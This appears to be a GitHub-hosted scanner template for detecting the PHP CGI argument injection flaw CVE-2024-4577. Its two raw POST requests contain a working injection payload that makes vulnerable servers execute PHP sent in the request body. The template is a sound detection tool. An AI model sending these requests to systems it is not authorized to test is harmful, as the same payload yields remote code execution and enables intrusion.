-
Notifications
You must be signed in to change notification settings - Fork 1
/
CVE-2024-4577.yaml
49 lines (45 loc) · 1.36 KB
/
CVE-2024-4577.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
id: CVE-2024-4577
info:
name: PHP CGI Argument Injection (CVE-2024-4577)
author: Eslam Mohamed Elabd
severity: high
description: |
This template detects PHP CGI Argument Injection vulnerability (CVE-2024-4577). The vulnerability allows an attacker to inject arguments into PHP CGI, potentially enabling remote code execution.
tags: cgi, injection, php, cve-2024-4577
requests:
- raw:
- |
POST /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo "CVE-2024-4577"; ?>
matchers-condition: or
matchers:
- type: word
words:
- "CVE-2024-4577"
- "directory"
- "index of"
condition: or
- type: status
status:
- 200
- raw:
- |
POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo "CVE-2024-4577"; ?>
matchers-condition: or
matchers:
- type: word
words:
- "CVE-2024-4577"
- "directory"
- "index of"
condition: or
- type: status
status:
- 200